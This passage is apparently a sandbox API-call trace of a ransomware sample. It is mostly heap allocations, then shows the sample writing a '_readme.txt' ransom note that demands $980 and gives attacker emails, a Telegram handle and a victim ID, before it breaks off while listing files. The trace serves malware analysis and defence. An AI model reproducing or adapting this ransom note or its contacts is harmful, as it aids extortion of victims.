hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.356] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.356] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.359] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0059.359] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.359] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.359] PathFindFileNameW (pszPath="") returned="" [0059.359] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.359] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.360] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.360] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.360] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.360] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0059.360] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0059.360] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.360] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.360] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.361] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.361] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.361] CloseHandle (hObject=0x5c0) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.362] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, 